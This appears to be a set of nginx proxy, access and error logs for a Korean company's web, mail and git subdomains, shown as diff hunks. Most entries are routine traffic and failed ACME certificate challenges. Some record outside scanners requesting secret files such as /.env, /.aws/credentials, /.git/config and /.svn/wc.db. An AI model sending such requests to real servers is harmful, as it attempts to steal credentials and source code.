2026/02/17 02:09:27 [warn] 898#898: *40291 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/0/01/0000011010 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:09:27 [warn] 898#898: *40291 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/1/01/0000011011 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:26:29 [warn] 897#897: *40362 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/2/01/0000011012 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:26:29 [warn] 897#897: *40362 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/3/01/0000011013 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/BatchControl.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/BatchControl.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:26:29 [warn] 897#897: *40362 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/4/01/0000011014 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=800", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:26:29 [warn] 897#897: *40362 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/5/01/0000011015 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:31:20 [warn] 897#897: *40386 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/6/01/0000011016 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/ControlRoom3.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/ControlRoom3.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:31:20 [warn] 897#897: *40386 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/7/01/0000011017 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000 HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/dcsintegration.png?auto=format&fit=crop&q=80&w=1000", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"
2026/02/17 02:31:21 [warn] 897#897: *40386 an upstream response is buffered to a temporary file /var/cache/nginx/proxy_temp/8/01/0000011018 while reading upstream, client: 222.117.41.51, server: hanmocnn.co.kr, request: "GET /assets/images/bearing.png HTTP/2.0", upstream: "http://192.168.0.250:8081/assets/images/bearing.png", host: "www.hanmocnn.co.kr", referrer: "https://www.hanmocnn.co.kr/"

View File

@@ -614,3 +614,17 @@
[16/Feb/2026:12:01:10 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/assets" [Client 222.117.41.51] [Length 1165] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr/" [16/Feb/2026:12:01:10 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/assets" [Client 222.117.41.51] [Length 1165] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:12:01:10 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/prices" [Client 222.117.41.51] [Length 929] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr/" [16/Feb/2026:12:01:10 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/prices" [Client 222.117.41.51] [Length 929] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:12:01:10 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/alerts/settings" [Client 222.117.41.51] [Length 183] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr/" [16/Feb/2026:12:01:10 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/alerts/settings" [Client 222.117.41.51] [Length 183] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:12:06:42 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/stream" [Client 222.117.41.51] [Length 30870] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:19:45:29 +0000] - 405 405 - POST https asset.hanmocnn.co.kr "/" [Client 85.11.167.25] [Length 31] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr"
[16/Feb/2026:19:45:30 +0000] - 405 405 - POST https asset.hanmocnn.co.kr "/" [Client 85.11.167.25] [Length 31] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "https://asset.hanmocnn.co.kr"
[16/Feb/2026:20:29:58 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/" [Client 211.234.204.1] [Length 2062] [Gzip 3.35] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "-"
[16/Feb/2026:20:29:58 +0000] - 304 304 - GET https asset.hanmocnn.co.kr "/static/js/app.js" [Client 211.234.204.1] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:20:29:58 +0000] - 304 304 - GET https asset.hanmocnn.co.kr "/static/css/style.css?v=2.0" [Client 211.234.204.1] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:20:29:58 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/assets" [Client 211.234.204.1] [Length 1165] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:20:29:58 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/prices" [Client 211.234.204.1] [Length 932] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:20:29:58 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/alerts/settings" [Client 211.234.204.1] [Length 183] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:20:30:00 +0000] - 200 200 - GET https asset.hanmocnn.co.kr "/api/stream" [Client 211.234.204.1] [Length 463] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "https://asset.hanmocnn.co.kr/"
[16/Feb/2026:22:29:27 +0000] - - 301 - GET http asset.hanmocnn.co.kr "/.git/HEAD" [Client 14.153.67.121] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" "-"
[16/Feb/2026:22:29:29 +0000] - - 301 - GET http asset.hanmocnn.co.kr "/.aws/credentials" [Client 190.87.168.129] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" "-"
[16/Feb/2026:22:29:31 +0000] - - 301 - GET http asset.hanmocnn.co.kr "/.env" [Client 216.147.127.93] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" "-"
[17/Feb/2026:00:08:06 +0000] - 404 404 - GET https asset.hanmocnn.co.kr "/.git/config" [Client 45.148.10.238] [Length 22] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1" "-"

View File

@@ -1033,3 +1033,26 @@
[16/Feb/2026:10:44:18 +0000] - 404 404 - HEAD http mail.hanmocnn.co.kr "/_next" [Client 176.65.148.161] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" "-" [16/Feb/2026:10:44:18 +0000] - 404 404 - HEAD http mail.hanmocnn.co.kr "/_next" [Client 176.65.148.161] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)" "-"
[16/Feb/2026:11:16:53 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/1911311937756" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-" [16/Feb/2026:11:16:53 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/1911311937756" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:12:00:59 +0000] - 200 200 - GET https mail.hanmocnn.co.kr "/rc/" [Client 211.234.204.1] [Length 2553] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "-" [16/Feb/2026:12:00:59 +0000] - 200 200 - GET https mail.hanmocnn.co.kr "/rc/" [Client 211.234.204.1] [Length 2553] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" "-"
[16/Feb/2026:12:17:18 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/25170994713170" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:13:17:42 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/2380247415728" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:14:18:09 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/21241406018869" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:15:18:31 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/4942946414564" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:16:18:54 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/211402764230849" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:17:19:17 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/3295913714323" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:18:19:41 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/171872423417227" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:19:20:07 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/206392922531069" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:20:20:34 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/11464694730725" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:21:20:56 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/215274441677" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:21:32:07 +0000] - 404 404 - GET https mail.hanmocnn.co.kr "/.env" [Client 2.57.122.173] [Length 178] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36" "-"
[16/Feb/2026:22:19:28 +0000] - - 301 - POST https mail.hanmocnn.co.kr "/" [Client 85.11.167.25] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "https://mail.hanmocnn.co.kr"
[16/Feb/2026:22:19:30 +0000] - - 301 - POST https mail.hanmocnn.co.kr "/" [Client 85.11.167.25] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" "https://mail.hanmocnn.co.kr"
[16/Feb/2026:22:21:24 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/17897272979361" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[16/Feb/2026:23:13:05 +0000] - 404 404 - GET https mail.hanmocnn.co.kr "/.git/config" [Client 45.148.10.238] [Length 178] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36" "-"
[16/Feb/2026:23:21:49 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/20678166812577" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[17/Feb/2026:00:22:12 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/76192759520205" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[17/Feb/2026:01:22:35 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/138904984342" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[17/Feb/2026:02:23:01 +0000] - - 404 - GET http mail.hanmocnn.co.kr "/.well-known/acme-challenge/3760852418392" [Client 222.117.41.51] [Length 150] [Gzip -] [Sent-to 192.168.0.250] "curl/8.12.1" "-"
[17/Feb/2026:02:25:10 +0000] - 404 404 - GET http mail.hanmocnn.co.kr "/.git/HEAD" [Client 192.41.114.224] [Length 178] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" "-"
[17/Feb/2026:02:25:14 +0000] - 404 404 - GET http mail.hanmocnn.co.kr "/.aws/credentials" [Client 79.17.16.83] [Length 178] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" "-"
[17/Feb/2026:02:25:15 +0000] - 404 404 - GET http mail.hanmocnn.co.kr "/.env" [Client 222.157.70.117] [Length 118] [Gzip 1.36] [Sent-to 192.168.0.250] "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1" "-"
[17/Feb/2026:02:25:17 +0000] - 404 404 - GET http mail.hanmocnn.co.kr "/.svn/wc.db" [Client 197.63.181.91] [Length 178] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" "-"

View File

@@ -54,3 +54,18 @@
2026/02/16 09:16:03 [error] 860#860: *34289 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/222152590129298" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/222152590129298 HTTP/1.1", host: "mail.hanmocnn.co.kr" 2026/02/16 09:16:03 [error] 860#860: *34289 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/222152590129298" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/222152590129298 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 10:16:28 [error] 862#862: *34395 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/168402213416258" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/168402213416258 HTTP/1.1", host: "mail.hanmocnn.co.kr" 2026/02/16 10:16:28 [error] 862#862: *34395 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/168402213416258" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/168402213416258 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 11:16:53 [error] 862#862: *35911 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/1911311937756" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/1911311937756 HTTP/1.1", host: "mail.hanmocnn.co.kr" 2026/02/16 11:16:53 [error] 862#862: *35911 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/1911311937756" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/1911311937756 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 12:17:18 [error] 877#877: *36000 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/25170994713170" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/25170994713170 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 13:17:42 [error] 871#871: *36052 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/2380247415728" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/2380247415728 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 14:18:09 [error] 871#871: *37558 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/21241406018869" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/21241406018869 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 15:18:31 [error] 871#871: *39220 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/4942946414564" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/4942946414564 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 16:18:54 [error] 874#874: *39234 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/211402764230849" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/211402764230849 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 17:19:17 [error] 874#874: *39255 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/3295913714323" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/3295913714323 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 18:19:41 [error] 886#886: *39280 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/171872423417227" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/171872423417227 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 19:20:07 [error] 884#884: *39336 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/206392922531069" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/206392922531069 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 20:20:34 [error] 882#882: *39474 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/11464694730725" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/11464694730725 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 21:20:56 [error] 883#883: *39654 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/215274441677" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/215274441677 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 22:21:24 [error] 886#886: *39787 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/17897272979361" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/17897272979361 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/16 23:21:49 [error] 886#886: *39862 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/20678166812577" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/20678166812577 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/17 00:22:12 [error] 897#897: *40032 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/76192759520205" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/76192759520205 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/17 01:22:35 [error] 895#895: *40148 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/138904984342" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/138904984342 HTTP/1.1", host: "mail.hanmocnn.co.kr"
2026/02/17 02:23:01 [error] 895#895: *40347 open() "/data/letsencrypt-acme-challenge/.well-known/acme-challenge/3760852418392" failed (2: No such file or directory), client: 222.117.41.51, server: mail.hanmocnn.co.kr, request: "GET /.well-known/acme-challenge/3760852418392 HTTP/1.1", host: "mail.hanmocnn.co.kr"

View File

@@ -10604,3 +10604,74 @@
[16/Feb/2026:12:04:00 +0000] - - 301 - GET http git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-upload-pack" [Client 222.117.41.51] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-" [16/Feb/2026:12:04:00 +0000] - - 301 - GET http git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-upload-pack" [Client 222.117.41.51] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:12:04:00 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-upload-pack" [Client 222.117.41.51] [Length 178] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-" [16/Feb/2026:12:04:00 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-upload-pack" [Client 222.117.41.51] [Length 178] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:12:04:00 +0000] - 200 200 - POST https git.hanmocnn.co.kr "/windpacer/homepage.git/git-upload-pack" [Client 222.117.41.51] [Length 65] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-" [16/Feb/2026:12:04:00 +0000] - 200 200 - POST https git.hanmocnn.co.kr "/windpacer/homepage.git/git-upload-pack" [Client 222.117.41.51] [Length 65] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:12:04:57 +0000] - - 301 - GET http git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-receive-pack" [Client 222.117.41.51] [Length 166] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:12:04:57 +0000] - 401 401 - GET https git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-receive-pack" [Client 222.117.41.51] [Length 13] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:12:05:05 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/windpacer/homepage.git/info/refs?service=git-receive-pack" [Client 222.117.41.51] [Length 235] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:12:05:06 +0000] - 200 200 - POST https git.hanmocnn.co.kr "/windpacer/homepage.git/git-receive-pack" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:12:05:07 +0000] - 200 200 - POST https git.hanmocnn.co.kr "/windpacer/homepage.git/git-receive-pack" [Client 222.117.41.51] [Length 113] [Gzip -] [Sent-to 192.168.0.250] "git/2.43.0" "-"
[16/Feb/2026:12:05:25 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/" [Client 222.117.41.51] [Length 11625] [Gzip 4.88] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:25 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/repo/search?count_only=1&uid=1&team_id=undefined&q=&page=1&mode=" [Client 222.117.41.51] [Length 12] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:25 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/repo/search?sort=updated&order=desc&uid=1&team_id=undefined&q=&page=1&limit=15&mode=&archived=false" [Client 222.117.41.51] [Length 5594] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "-"
[16/Feb/2026:12:05:27 +0000] - 200 200 - GET https git.hanmocnn.co.kr "/user/events" [Client 222.117.41.51] [Length 0] [Gzip -] [Sent-to 192.168.0.250] "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" "https://git.hanmocnn.co.kr/assets/js/eventsource.sharedworker.js?v=1.25.3"
